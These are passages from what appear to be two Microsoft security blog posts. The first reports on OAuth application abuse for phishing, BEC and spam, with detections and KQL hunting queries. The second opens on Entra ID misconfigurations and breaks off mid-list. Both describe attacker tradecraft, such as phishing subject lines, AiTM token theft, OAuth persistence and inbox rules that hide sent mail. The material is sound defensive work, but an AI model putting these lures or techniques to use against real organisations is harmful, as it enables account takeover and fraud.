Microsoft Threat Intelligence analysts were able to detect the threat actor’s actions and worked with the Microsoft Entra team to block the OAuth applications that were part of this attack. Affected organizations were also informed of the activity and recommended further actions.

OAuth applications for BEC and phishing

In another attack observed by Microsoft, a threat actor compromised user accounts and created OAuth applications to maintain persistence and to launch email phishing activity. The threat actor used an adversary-in-the-middle (AiTM) phishing kit to send a significant number of emails with varying subject lines and URLs to target user accounts in multiple organizations. In AiTM attacks, threat actors attempt to steal session tokens from their targets by sending phishing emails with a malicious URL that leads to a proxy server that facilitates a genuine authentication process.

We observed the following email subjects used in the phishing emails:

• <Username> shared “<Username> contracts” with you.
• <Username> shared “<User domain>” with you.
• OneDrive: You have received a new document today
• <Username> Mailbox password expiry
• Mailbox password expiry
• <Username> You have Encrypted message
• Encrypted message received

After the targets clicked the malicious URL in the email, they were redirected to the Microsoft sign-in page that was proxied by the threat actor’s proxy server. The proxy server set up by the threat actor allowed them to steal the token from the user’s session cookie. Later, the stolen token was leveraged to perform session cookie replay activity. Microsoft was able to confirm during further investigation that the compromised user account was flagged for risky sign-ins when the account was used to sign in from an unfamiliar location and from an uncommon user agent.

For persistence following business email compromise

In some cases, following the stolen session cookie replay activity, the actor leveraged the compromised user account to perform BEC financial fraud reconnaissance by opening email attachments in Microsoft Outlook Web Application (OWA) that contain specific keywords such as “payment” and “invoice”. This action typically precedes financial fraud attacks where the threat actor seeks out financial conversations and attempts to socially engineer one party to modify payment information to an account under attacker control.

Later, to maintain persistence and carry out malicious actions, the threat actor created an OAuth application using the compromised user account. The actor then operated under the compromised user account session to add new credentials to the OAuth application.  

For email phishing activity

In other cases, instead of performing BEC reconnaissance, the threat actor created multitenant OAuth applications following the stolen session cookie replay activity. The threat actor used the OAuth applications to maintain persistence, add new credentials, and then access Microsoft Graph API resource to read emails or send phishing emails.

At the time of analysis, we observed that threat actor created around 17,000 multitenant OAuth applications across different tenants using multiple compromised user accounts. The created applications mostly had two different sets of application metadata properties, such as display name and scope:

• Malicious multitenant OAuth applications with the display name set as “oauth” were granted permissions “user.read; mail.readwrite; email; profile; openid; mail.read; people.read” and access to Microsoft Graph API and read emails.
• Malicious multitenant OAuth applications with the display name set as “App” were granted permissions “user.read; mail.readwrite; email; profile; openid; mail.send” and access to Microsoft Graph API to send high volumes of phishing emails to both intra-organizational and external organizations.

In addition, we observed that the threat actor, before using the OAuth applications to send phishing emails, leveraged the compromised user accounts to create inbox rules with suspicious rule names like “…” to move emails to the junk folder and mark them as read. This is to evade detection by the compromised user that the account was used to send phishing emails.

Based on the email telemetry, we observed that the malicious OAuth applications created by the threat actor sent more than 927,000 phishing emails. Microsoft has taken down all the malicious OAuth applications found related to this campaign, which ran from July to November 2023.

OAuth applications for spamming activity

Microsoft also observed large-scale spamming activity through OAuth applications by a threat actor tracked as Storm-1286. The actor launched password spraying attacks to compromise user accounts, the majority of which did not have multifactor authentication (MFA) enabled. We also observed the user agent BAV2ROPC in the sign-in activities related to the compromised accounts, which indicated the use of legacy authentication protocols such as IMAP and SMTP that do not support MFA.

We observed the actor using the compromised user accounts to create anywhere from one to three new OAuth applications in the targeted organization using Azure PowerShell or a Swagger Codegen-based client. The threat actor then granted consent to the applications using the compromised accounts. These applications were set with permissions like email, profile, openid, Mail.Send, User.Read and Mail.Read, which allowed the actor to control the mailbox and send thousands of emails a day using the compromised user account and the organization domain. In some cases, the actor waited for months after the initial access and setting up of OAuth applications before starting the spam activity using the applications. The actor also used legitimate domains to avoid phishing and spamming detectors.

In previous large-scale spam activities, we observed threat actors attempting to compromise admin accounts without MFA and create new LOB applications with high administrative permissions to abuse Microsoft Exchange Online and spread spam. While the activity of the actor then was limited due to actions taken by Microsoft Threat Intelligence such as blocking clusters of the OAuth applications in the past, Storm-1286 continues to try new ways to set a similar high-scale spamming platform in victim organizations by using non-privileged users.

Mitigation steps

Microsoft recommends the following mitigations to reduce the impact of these types of threats.

Mitigate credential guessing attacks risks

A key step in reducing the attack surface is securing the identity infrastructure. The most common initial access vector observed in this attack was account compromise through credential stuffing, phishing, and reverse proxy (AiTM) phishing. In most cases the compromised accounts did not have MFA enabled. Implementing security practices that strengthen account credentials such as enabling MFA reduced the chance of attack dramatically.

Enable conditional access policies

Conditional access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies for User and Sign-in Risk, device compliance and trusted IP address requirements. If your organization has a Microsoft-Managed Conditional Access policy, make sure it is enforced.

Ensure continuous access evaluation is enabled

Continuous access evaluation (CAE) revokes access in real time when changes in user conditions trigger risks, such as when a user is terminated or moves to an untrusted location.

Enable security defaults

While some of the features mentioned above require paid subscriptions, the security defaults in Azure AD, which is mainly for organizations using the free tier of Azure Active Directory licensing, are sufficient to better protect the organizational identity platform, as they provide preconfigured security settings such as MFA, protection for privileged activities, and others.

Enable Microsoft Defender automatic attack disruption

Microsoft Defender automatic attack disruption capabilities minimize lateral movement and curbs the overall impact of an attack in its initial stages.

Audit apps and consented permissions

Audit apps and consented permissions in your organization ensure applications are only accessing necessary data and adhering to the principles of least privilege. Use Microsoft Defender for Cloud Apps and its app governance add-on for expanded visibility into cloud activity in your organization and control over applications that access your Microsoft 365 data. 

Educate your organization on application permissions and data accessible by applications with respective permissions to identify malicious apps. 

Enhance suspicious OAuth application investigation with the recommended approach to investigate and remediate risky OAuth apps.

Enable “Review admin consent requests” for forcing new applications review in the tenant.

In addition to the recommendations above, Microsoft has published incident response playbooks for App consent grant investigation and compromised and malicious applications investigation that defenders can use to respond quickly to related threats.

Secure Azure Cloud resources

Deploy MFA to all users, especially for tenant administrators and accounts with Azure VM Contributor privileges. Limit unused quota and monitor for unusual quota increases in your Azure subscriptions, with an emphasis on the resource’s originating creation or modification. Monitor for unexpected sign-in activity from IP addresses associated with free VPN services on high privilege accounts. Connect Microsoft Defender for Cloud Apps connector to ARM or use Microsoft Defender for ARM

With the rise of hybrid work, employees might use their personal or unmanaged devices to access corporate resources, leading to an increased possibility of token theft. To mitigate this risk, organizations can enhance their security measures by obtaining complete visibility into their users’ authentication methods and locations. Refer to the comprehensive blog post Token tactics: How to prevent, detect, and respond to cloud token theft. 

Check your Office 365 email filtering settings to ensure you block spoofed emails, spam, and emails with malware. Use for enhanced phishing protection and coverage against new threats and polymorphic variants. Configure Defender for Office 365 to recheck links upon time of click and delete sent mail in response to newly acquired threat intelligence. Turn on Safe Attachments policies to check attachments in inbound emails. 

Detections for related techniques

Leveraging its cross-signal capabilities, Microsoft Defender XDR alerts customers using Microsoft Defender for Office 365, Microsoft Defender for Cloud Apps, Application governance add-on, Microsoft Defender for Cloud, and Microsoft Entra ID Protection to detect the techniques covered in the attack through the attack chain. Each product can provide a different aspect for protection to cover the techniques observed in this attack:

Microsoft Defender XDR

Microsoft Defender XDR detects threat components associated with the following activities:

• User compromised in AiTM phishing attack
• User compromised via a known AiTM phishing kit
• BEC financial fraud-related reconnaissance
• BEC financial fraud

Microsoft Defender for Cloud Apps

Using Microsoft Defender for Cloud Apps connectors for Microsoft 365 and Azure, Microsoft Defender XDR raises the following alerts:

• Stolen session cookie was used
• Activity from anonymous IP address
• Activity from a password-spray associated IP address
• User added or updated a suspicious OAuth app
• Risky user created or updated an app that was observed creating a bulk of Azure virtual machines in a short interval
• Risky user updated an app that accessed email and performed email activity through Graph API
• Suspicious creation of OAuth app by compromised user
• Suspicious secret addition to OAuth app followed by creation of Azure virtual machines
• Suspicious OAuth app creation
• Suspicious OAuth app email activity through Graph API
• Suspicious OAuth app-related activity by compromised user
• Suspicious user signed into a newly created OAuth app
• Suspicious addition of OAuth app permissions
• Suspicious inbox manipulation rule
• Impossible travel activity
• Multiple failed login attempts

App governance

App governance is an add-on to Microsoft Defender for Cloud Apps, which can detect malicious OAuth applications that make sensitive Exchange Online administrative activities along with other threat detection alerts. Activity related to this campaign triggers the following alerts:

• Entra Line-of-Business app initiating an anomalous spike in virtual machine creation
• OAuth app with high scope privileges in Microsoft Graph was observed initiating virtual machine creation
• Suspicious OAuth app used to send numerous emails

To receive this alert, turn on app governance for Microsoft Defender for Cloud Apps.

Microsoft Defender for Office 365

Microsoft Defender for Office 365 detects threat activity associated with this spamming campaign through the following email security alerts. Note, however, that these alerts may also be triggered by unrelated threat activity. We’re listing them here because we recommend that these alerts be investigated and remediated immediately.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• User restricted from sending email
• Email sending limit exceeded

Microsoft Defender for Cloud

Microsoft Defender for Cloud detects threat components associated with the activities outlined in this article with the following alerts:

• Azure Resource Manager operation from suspicious proxy IP address
• Crypto-mining activity
• Digital currency mining activity
• Suspicious Azure role assignment detected
• Suspicious creation of compute resources detected
• Suspicious invocation of a high-risk ‘Execution’ operation by a service principal detected
• Suspicious invocation of a high-risk ‘Execution’ operation detected
• Suspicious invocation of a high-risk ‘Impact’ operation by a service principal detected

Microsoft Entra Identity Protection

Microsoft Entra Identity Protection detects the threats described with the following alerts:

• Anomalous Token
• Unfamiliar sign-in properties
• Anonymous IP address
• Verified threat actor IP
• Atypical travel

Hunting guidance

Microsoft 365 Defender

Microsoft 365 Defender customers can run the following query to find related activity in their networks:

OAuth application interacting with Azure workloads

let OAuthAppId = <OAuth app ID in question>;
CloudAppEvents
| where Timestamp >ago (7d)  
| where AccountId == OAuthAppId 
| where AccountType== "Application"
| extend Azure_Workloads = RawEventData["operationName"]
| distinct Azure_Workloads by AccountId

Password spray attempts

This query identifies failed sign-in attempts to Microsoft Exchange Online from multiple IP addresses and locations.

IdentityLogonEvents
| where Timestamp > ago(3d)
| where ActionType == "LogonFailed" and LogonType == "OAuth2:Token" and Application == "Microsoft Exchange Online"
| summarize count(), dcount(IPAddress), dcount(CountryCode) by AccountObjectId, AccountDisplayName, bin(Timestamp, 1h)

Suspicious application creation

This query finds new applications added in your tenant.

CloudAppEvents
| where ActionType in ("Add application.", "Add service principal.")
| mvexpand modifiedProperties = RawEventData.ModifiedProperties
| where modifiedProperties.Name == "AppAddress"
| extend AppAddress = tolower(extract('\"Address\": \"(.*)\",',1,tostring(modifiedProperties.NewValue)))
| mvexpand ExtendedProperties = RawEventData.ExtendedProperties
| where ExtendedProperties.Name == "additionalDetails"
| extend OAuthApplicationId = tolower(extract('\"AppId\":\"(.*)\"',1,tostring(ExtendedProperties.Value)))
| project Timestamp, ReportId, AccountObjectId, Application, ApplicationId, OAuthApplicationId, AppAddress

Suspicious email events

NOTE: These queries need to be updated with timestamps related to application creation time before running.

//Identify High Outbound Email Sender
EmailEvents 
| where Timestamp between (<start> .. <end>) //Timestamp from the app creation time to few hours upto 24 hours or more 
| where EmailDirection in ("Outbound") 
| project
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId,
    NetworkMessageId 
| summarize
    RecipientCount = dcount(RecipientEmailAddress),
    UniqueEmailSentCount = dcount(NetworkMessageId)
    by SenderFromAddress, SenderMailFromAddress, SenderObjectId
| sort by UniqueEmailSentCount desc 
//| where UniqueEmailSentCount > <threshold> //Optional, return only if the sender sent more than the threshold
//| take 100 //Optional, return only top 100
 
//Identify Suspicious Outbound Email Sender
EmailEvents 
//| where Timestamp between (<start> .. <end>) //Timestamp from the app creation time to few hours upto 24 hours or more 
| where EmailDirection in ("Outbound") 
| project
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId, 
    DetectionMethods,
    NetworkMessageId 
| summarize
    RecipientCount = dcount(RecipientEmailAddress),
    UniqueEmailSentCount = dcount(NetworkMessageId),
    SuspiciousEmailCount = dcountif(NetworkMessageId,isnotempty(DetectionMethods))
    by SenderFromAddress, SenderMailFromAddress, SenderObjectId
| extend SuspiciousEmailPercentage = SuspiciousEmailCount/UniqueEmailSentCount * 100 //Calculate the percentage of suspicious email compared to all email sent
| sort by SuspiciousEmailPercentage desc 
//| where UniqueEmailSentCount > <threshold> //Optional, return only if the sender suspicious email percentage is more than the threshold
//| take 100 //Optional, return only top 100

//Identify Recent Emails Sent by Restricted Email Sender
AlertEvidence
| where Title has "User restricted from sending email"
| project AccountObjectId //Identify the user who are restricted to send email
| join EmailEvents on $left.AccountObjectId == $right.SenderObjectId //Join information from Alert Evidence and Email Events
| project
    Timestamp,
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId,
    SenderIPv4,
    Subject,
    UrlCount,
    AttachmentCount,
    DetectionMethods,
    AuthenticationDetails, 
    NetworkMessageId
| sort by Timestamp desc 
//| take 100 //Optional, return only first 100

BEC recon and OAuth application activity

//High and Medium risk SignIn activity
AADSignInEventsBeta
| where Timestamp >ago (7d)
| where ErrorCode==0
| where RiskLevelDuringSignIn >= 50
| project
    AccountUpn,
    AccountObjectId,
    SessionId,
    RiskLevelDuringSignIn,
    ApplicationId,
    Application

//Oauth Application creation or modification by user who has suspicious sign in activities
AADSignInEventsBeta
| where Timestamp >ago (7d)
| where ErrorCode == 0
| where RiskLevelDuringSignIn >= 50
| project SignInTime=AccountUpn, AccountObjectId, SessionId, RiskLevelDuringSignIn, ApplicationId, Application
| join kind=leftouter (CloudAppEvents | where Timestamp > ago(7d)
| where ActionType in ("Add application.", "Update application.", "Update application – Certificates and secrets management ")
| extend appId = tostring(parse_json(RawEventData.Target[4].ID))
| project
    Timestamp,
    ActionType,
    Application,
    ApplicationId,
    UserAgent,
    ISP,
    AccountObjectId,
    AppName=ObjectName,
    OauthApplicationId=appId,
    RawEventData ) on AccountObjectId
| where isnotempty(ActionType)

 
//Suspicious BEC reconnaisance activity 
let bec_keywords = pack_array("payment", "receipt", "invoice", "inventory"); 
let reconEvents = 
    CloudAppEvents
    | where Timestamp >ago (7d)
    | where ActionType in ("MailItemsAccessed", "Update")
    | where AccountObjectId in ("<Impacted AccountObjectId>")
    | extend SessionId = tostring(parse_json(RawEventData.SessionId))
    | project
        Timestamp,
        ActionType,
        AccountObjectId,
        UserAgent,
        ISP,
        IPAddress,
        SessionId,
        RawEventData;
reconEvents;
let updateActions = reconEvents
    | where ActionType == "Update" 
    | extend Subject=tostring(RawEventData["Item"].Subject)
    | where isnotempty(Subject)
    | where Subject has_any (bec_keywords)
    | summarize UpdateCount=count() by bin (Timestamp, 15m), Subject, AccountObjectId, SessionId, IPAddress;
updateActions;
let mailItemsAccessedActions = reconEvents 
    | where ActionType == "MailItemsAccessed" 
    | extend OperationCount = toint(RawEventData["OperationCount"])
    | summarize TotalCount = sum(OperationCount) by bin (Timestamp, 15m), AccountObjectId, SessionId, IPAddress;
mailItemsAccessedActions;
 
//SignIn to newly created app within Risky Session
AADSignInEventsBeta
| where Timestamp >ago (7d) 
| where AccountObjectId in ("<Impacted AccountObjectId>") and 
SessionId in ("<Risky Session Id>")
| where ApplicationId in ("<Oauth appId>") // Recently added or modified App Id
| project
    AccountUpn,
    AccountObjectId,
    ApplicationId,
    Application,
    SessionId,
    RiskLevelDuringSignIn,
    RiskLevelAggregated,
    Country

// To check suspicious Mailbox rules
CloudAppEvents
| where Timestamp between (start .. end) //Timestamp from the app creation time to few hours, usually before spam emails sent
| where AccountObjectId in ("<Impacted AccountObjectId>")
| where Application == "Microsoft Exchange Online"
| where ActionType in ("New-InboxRule", "Set-InboxRule", "Set-Mailbox", "Set-TransportRule", "New-TransportRule", "Enable-InboxRule", "UpdateInboxRules")
| where isnotempty(IPAddress)
| mvexpand ActivityObjects
| extend name = parse_json(ActivityObjects).Name
| extend value = parse_json(ActivityObjects).Value
| where name == "Name"
| extend RuleName = value 
| project Timestamp, ReportId, ActionType, AccountObjectId, IPAddress, ISP, RuleName

// To check any suspicious Url clicks from emails before risky signin by the user
UrlClickEvents
| where Timestamp between (start .. end) //Timestamp around time proximity of Risky signin by user
| where AccountUpn has "<Impacted User’s UPN or Email address>" and ActionType has "ClickAllowed"
| project Timestamp,Url,NetworkMessageId

// To fetch the suspicious email details
EmailEvents
| where Timestamp between (start .. end) //Timestamp lookback to be increased gradually to find the email received
| where EmailDirection has "Inbound"
| where RecipientEmailAddress has "<Impacted User’s UPN or Email address>" and NetworkMessageId == "<NetworkMessageId from UrlClickEvents>"
| project SenderFromAddress,SenderMailFromAddress,SenderIPv4,SenderFromDomain, Subject,UrlCount,AttachmentCount
    
    
// To check if suspicious emails sent for spamming (with similar email subjects, urls etc.)
EmailEvents
| where Timestamp between (start .. end) //Timestamp from the app creation time to few hours upto 24 hours or more
| where EmailDirection in ("Outbound","Intra-org")
| where SenderFromAddress has "<Impacted User’s UPN or Email address>"  or SenderMailFromAddress has "<Impacted User’s UPN or Email address>"
| project RecipientEmailAddress,RecipientObjectId,SenderIPv4,SenderFromDomain, Subject,UrlCount,AttachmentCount,NetworkMessageId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Analytic rules:

• Phishing Link Execution Observed
• Possible AiTM Phishing Attempt Against AAD
• Successful Signins from a Phishing Link
• Signin Password Spray
• Malicious Inbox Rule
• BEC Mailbox Rule

Hunting queries:

• Open Email Link
• Creation of an anomalous number of resources
• Creation of expensive computes in Azure

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Threat actors misuse OAuth applications to automate financially driven attacks appeared first on Microsoft Security Blog.

The team has observed common misconfigurations for both Microsoft Entra ID and on-premises Active Directory across various industry verticals. While Microsoft Entra ID differs from on-premises Active Directory in how it functions and how it is architected, similar high-level incident response and hardening principles can be applied to both. Concepts such as administrative least privilege, regularly reviewing access and application permissions and reviewing activity are important to secure both Active Directory and Microsoft Entra ID.

Microsoft IR engages with hundreds of customers each year, including many of the largest organizations worldwide. These organizations can have hundreds of thousands to millions of active users of Microsoft Entra ID and incredibly complex identity systems. In this blog, we present details on the common misconfigurations observed in these engagements and provide guidance on how to properly configure Microsoft Entra ID to remove risks and harden environments against cyberattacks. This blog is designed to be a Microsoft Entra ID companion piece to a previously published Microsoft IR blog on lessons learned on securing on-premises Active Directory.

• Misconfigured hybrid identity setups
  • Compromised Active Directory Federation Services or equivalent federated identity systems
  • Complex identity systems
  • Compromised synced service accounts
• Token theft of highly privileged accounts
• Excessive privilege granted to users
• Excessive privilege granted to workload identities
• Poor device access control
• Poor application access control
• Misconfigured delegated administrative privileges (DAP) permissions
• Misconfigured Conditional Access policy
• OAuth and consent phishing
• Self-service password reset & MFA social engineering
• Recommended focus areas to prevent identity compromise

To understand a compromise incident and aid in investigations, Microsoft IR retrieves the configuration of Microsoft Entra ID by reading tenant metadata from the Microsoft Graph API. This data is used to both investigate threat actor activity and to aid in providing recommendations for securing Microsoft Entra ID. In addition to configuration metadata, we also leverage native cloud forensic log sources such as Microsoft Entra ID sign-in and audit data – these data sources are available to any organization using Microsoft Entra ID. Open-source tools such as the Microsoft Entra ID Response PowerShell module, developed in conjunction with the Microsoft Entra ID product group, or the untitled goose tool from CISA can retrieve this same data.

Additionally, Microsoft IR uses Microsoft 365 Defender advanced hunting data such as log data from Microsoft Defender for Cloud Apps, and any other relevant log sources a customer may have. In cases of hybrid identity, logs from systems such as Active Directory Federation Services (AD FS) or third-party multifactor authentication (MFA) providers are also relevant. Depending on the nature of the investigation, traditional endpoint forensic sources may also need to be examined.

Misconfigured hybrid identity setups

In the following sub-sections, we present details on the different scenarios involving misconfigured hybrid identity setups that could lead to compromise of Microsoft Entra ID.

Compromised Active Directory Federation Services or equivalent federated identity systems

Each organization’s hybrid identity configuration is unique, and many organizations use a federated identity provider when users authenticate to cloud apps, such as Microsoft 365. These federated identity providers enable user authentication. While a significant percentage of organizations have now moved to cloud-native authentication in Microsoft Entra ID, these federated identity providers, such as AD FS and other third-party identity providers, are still in use.

Microsoft IR finds that federated identity providers present an administrative blind spot within organizations. Hybrid identity can be architecturally complicated with many moving pieces, which often lends itself to operational oversight. Securing these hybrid identity systems is complex, especially legacy solutions, and a single misconfiguration can lead to a significant compromise of an organization’s entire identity plane.

Federated identity providers are a favored target of some nation-state actors: these threat actors understand that if they can compromise the Tier 0 identity plane, then they can persist undetected within an environment for extended periods of time and take control of all identities. Microsoft has published blogs covering the sophisticated cyberattacks seen against AD FS, such as MagicWeb. A deep dive into this tactic was also covered in the Microsoft IR Cyberattack series.

Microsoft IR has also been engaged in multiple incidents where the Token Signing Certificate (TSC) was stolen from on-premises federation servers. Using this stolen certificate, attackers could forge their own SAML tokens and authenticate successfully to Microsoft Entra ID. With this certificate, a threat actor can successfully authenticate as any user in the tenant with any claims without requiring the user’s credentials.

Recommendations

• Microsoft IR strongly recommends moving to native Microsoft Entra ID authentication and decommissioning AD FS (or other federated identity providers) where possible. This reduces the overall complexity of the organization’s identity plane and makes it easier to secure identities.
• If you must use federated identity providers, it’s important to secure and monitor them appropriately.
  • For organizations using AD FS, ensure that the Microsoft Entra Connect Health client is installed. This client correlates multiple Event IDs from AD FS and enriches Microsoft Entra ID sign-in data with that information. This can both help with creating detection and threat hunting rules and serve as a valuable source of forensic data in the event of a compromise.Ensure that appropriate logging is enabled for AD FS and those logs are sent to a SIEM such as Microsoft Sentinel, where detection rules can be created, for both user and system-level compromise, including certificate theft. If an attacker can steal the token signing certificate from AD FS, they can forge their own tokens to authenticate to Entra ID. In these cases, Entra ID will alert on anomalies with the token issuer. Additionally, sign ins using forged tokens may trigger other risk events such as unfamiliar features.If your current MFA solution is integrated to AD FS, consider using native integrated MFA, especially phishing-resistant, options available in Entra ID
  • For organizations with Microsoft Defender for Identity and Microsoft Defender for Endpoint, ensure the agents are deployed to AD FS. Both products have specific capabilities to detect cyberattacks against AD FS.
• For other federated identity providers, ensure those services are configured in line with best practices and that both user logon telemetry and system-level audit events are sent to a central SIEM. Threat actors can dwell in environments, especially identity systems, for months or years before being detected, so it is important that key logs are kept for a long period of time. This helps responder teams understand how initial access was gained and ensure complete threat actor eviction from the environment.

Complex identity systems

Modern identity systems are complex and have changed significantly as ways of working have evolved. Organizations can have multiple identity providers, third-party MFA providers, custom systems designed for user onboarding and offboarding, and other interconnected systems. All these systems form an end-to-end trust chain that is an attractive target for threat actors. The more complex these systems are, the more difficult it is to adequately secure them. Organizations may have network appliances that complete 802.1x authentication, custom identity governance systems that manage user lifecycle, certificate authorities and HSM devices. Each system requires patching and vulnerability management, sufficient monitoring and maintenance and human expertise to ensure secure configuration. Additionally, certificate and credential management across these systems add further complexity.

For example, AD FS is trusted to issue tokens for users. Other systems, such as Microsoft Entra ID, accept those tokens and then authorize the users they represent. If AD FS is compromised, then the legitimacy of those tokens is in question. Each system needs to be adequately secured and monitored to ensure complete trust, as a compromise of a single system could lead to compromise of them all.

If a user signs into Microsoft 365 and the authentication is via a non-Microsoft identity provider, and then MFA is provided by yet another provider, significant complexity is added to the authentication flow. For instance, different systems may be responsible for validating passwords, checking certificates, performing MFA, and issuing tokens – these may be on-premises systems, non-Windows platforms, or third-party cloud solutions. In these situations, each system that forms part of this authentication flow trusts the others.

For example, Microsoft IR was recently engaged with an organization that suffered tenant-level compromise of Microsoft Entra ID. Once the investigation was complete, it was determined that an internet-facing on-premises server, which lacked MFA or proper access controls, had been compromised. That server ran a custom piece of software designed to sync users between multiple business systems. Once the threat actor gained access to the server, they uncovered the credentials for a Global Administrator-level service account. Servers that host key identity applications and integration services are often not held to the same security standard as Domain Controllers, decreasing the security posture of the entire identity plane significantly.

Misconfiguration or administrative oversight on any one of these interconnected systems leads to a decrease in overall security controls. If Microsoft Entra ID is configured to offload MFA to a third-party MFA provider and that MFA is misconfigured, Microsoft Entra ID will still trust the telemetry and configuration of that service.

Recommendations

• It’s crucial to understand all the systems that form your identity plane and how authentication and authorization flow between them. Understand which systems are responsible for which workloads within your identity trust chain.
• Treat the entire authentication system as tier 0, as compromise of a single link within it can lead to complete compromise.
• Ensure that all systems are configured in line with best practices and that the collective configuration is enforcing implemented policies as expected.
• For all systems forming your identity plane, ensure that sufficient logging is available, and that data is kept for a long period of time, preferably 2 years or more. Logging should include user logon events, administrative activity, and configuration changes. Having sufficient logging not only helps detect potential cyberattacks, but it can also alert on changes to any individual system that can reduce overall security posture, and, in the event of an incident, serve as a source of forensic information.
• Where possible, simplify the authentication and authorization mechanisms in your environment. This helps to reduce the attack surface of identity compromise. With each additional system, you increase the overhead of securing those systems and increase the chance of misconfiguration or compromise of one of them.

Compromised synced service accounts

In the hybrid identity world, most users and groups are synced from on-premises Active Directory to Microsoft Entra ID. This is required to allow users to access cloud resources via the same set of credentials used on premises. However, in engagements seen by Microsoft IR, accounts used to manage Microsoft Entra ID, such as Global Administrators, have also been synced to Microsoft Entra ID from on-premises. Staff then often use the same credentials to manage both environments.

If Active Directory is compromised and the credentials for these accounts are found by a threat actor, this allows them to easily pivot into Microsoft Entra ID, expanding the scope of the compromise. Synced service accounts are particularly vulnerable to exploitation. Microsoft IR commonly sees service accounts used to manage both on-premises Active Directory and Microsoft Entra ID targeted by threat actors. These accounts generally hold a high level of privilege in Microsoft Entra ID (often Global Administrator) but aren’t subject to the same controls such as MFA or Microsoft Entra Privileged Identity Management (PIM).

Microsoft IR has been involved in numerous investigations where on-premises Active Directory compromise led to Microsoft Entra tenant compromise. Threat actors sometimes uncover account credentials in clear text due to poor handling of credentials in an on-premises environment. If the threat actor already has a foothold in the on-premises environment, controls such as MFA are often not enforced as these networks are seen as ‘trusted’.

Recommendations

• Microsoft IR strongly recommends that accounts used to administer Microsoft Entra ID are native to Microsoft Entra ID using managed authentication and are not synced from on-premises Active Directory. This reduces the scope of compromise if Active Directory gets compromised by preventing a threat actor from leveraging the same credentials to compromise Microsoft Entra ID. Specific guidance to protect Microsoft 365 from on-premises cyberattacks can be found at https://aka.ms/protectm365 and https://aka.ms/securitysteps.
• Any account that holds privilege in on-premises Active Directory, such as Domain Administrators and the respective groups such as Domain Admins, should be completely excluded from being synced to Microsoft Entra ID.
• The credentials for service accounts that interact with Microsoft Entra ID and Active Directory should be stored securely, and not in clear text where they are easily recoverable by a threat actor.
• Privileged accounts should not be excluded from Microsoft Entra Conditional Access policies, regardless of network location. These accounts should always be held to the highest standards of security, specifically the use of Privileged Identity Management and phishing-resistant credentials such as FIDO2, including for break glass accounts.
• Service accounts that require both privileges to on-premises Active Directory and Microsoft Entra ID should have specific technical controls applied to them. This can include Conditional Access blocking access from non-approved locations or IP addresses, specific detection rules, and monitoring to alert on anomalous activity with these accounts.

Token theft of highly privileged accounts

Token theft is an increasingly common tactic used by threat actors. This technique can allow threat actors to access even MFA-protected resources. Token theft utilizes either credential stealing malware, to steal tokens from end user devices, or adversary-in-the-middle (AiTM) infrastructure to steal tokens during authentication.

AiTM attacks are targeted at users through phishing campaigns. Users are tricked to not only enter their user credentials to a malicious site, but the malicious site also steals the tokens associated with the sign in. These tokens have already satisfied MFA and can be reused by the adversary. This token is then imported to a threat actor-controlled device and access to MFA protected resources granted. Microsoft IR has previously written on the increase of token theft attacks.

Microsoft IR has seen cases where Global Administrator accounts were directly targeted by AiTM phishing. As result, a Global Administrator tier token was stolen, leading to tenant-level compromise.

In addition to AiTM phishing, tokens can also be stolen from endpoint devices themselves via credential-stealing malware. Microsoft IR has been engaged with organizations where credential-stealing malware was installed on an administrator’s endpoint device via an initial phishing email. While the admin used separate accounts for their day-to-day and administrative work, the Global Administrator had signed into both accounts from the same device. The malware had the capability to extract all the credentials and tokens on the device, eventually leading to tenant-level compromise.

Tokens on endpoints are typically stored as cookies, and theft can occur in several ways. Commodity malware such as Emotet, Redline, IcedID, and others have the capability to steal both credentials and tokens. Pirated or cracked software often has token and cookie stealing malware embedded within it as well.

Recommendations

• To increase the security of these accounts, phishing-resistant MFA methods such as FIDO2 keys and certificate-based authentication should be used. Authentication strengths can be used to enforce these MFA methods for the highest privileged accounts. Authentication strengths can prevent admins using weaker MFA methods, such as SMS or phone calls.
• To remove the attack vector of direct phishing attempts, users that hold privilege in Microsoft Entra ID should not have a mailbox assigned.
• When accessing Microsoft Entra ID to complete administrative tasks, access should be granted via a native Microsoft Entra account, not one synced from on-premises Active Directory.
• Access to the Microsoft Entra ID Portal and other similar management interfaces should also be restricted to only hardened workstations known as privileged access workstations. These workstations are designed to only administer Microsoft Entra ID and restricted from accessing other sites to reduce the attack surface of endpoint compromise.
• Microsoft has published a specific incident response playbook for cloud token theft. It is worth familiarizing yourself with to understand how to respond quickly.
• To prevent token theft more broadly, token protection (also known as token binding more generally) is currently in preview in Microsoft Entra Conditional Access. As a preview feature, it has certain limitations; however, it is still a valuable control. Token protection seeks to prevent replay of primary refresh token theft by binding an issued token to a specific device.

Excessive privilege granted to users

Much like on-premises Active Directory, Microsoft IR often sees accounts granted privilege that they do not require. While organizations often have mature technical controls over their Global Administrator accounts, these controls do not cover other privileged roles in Microsoft Entra ID. Global Administrator lives atop the privilege hierarchy, but there are also other roles that can lead to compromise. These include, but are not limited to:

• Privileged Role Administrator – can add users to Global Administrator and other privileged roles
• Privileged Authentication Administrator – can reset the password of or register MFA for a Global Administrator
• Security Administrator – can read and manage security related settings across Microsoft Entra ID and Microsoft 365 Defender
• Application Administrator – can generate a credential on any Microsoft Entra ID application
• Domain Name Administrator – can add a federated domain
• Conditional Access Administrator – can degrade access conditions
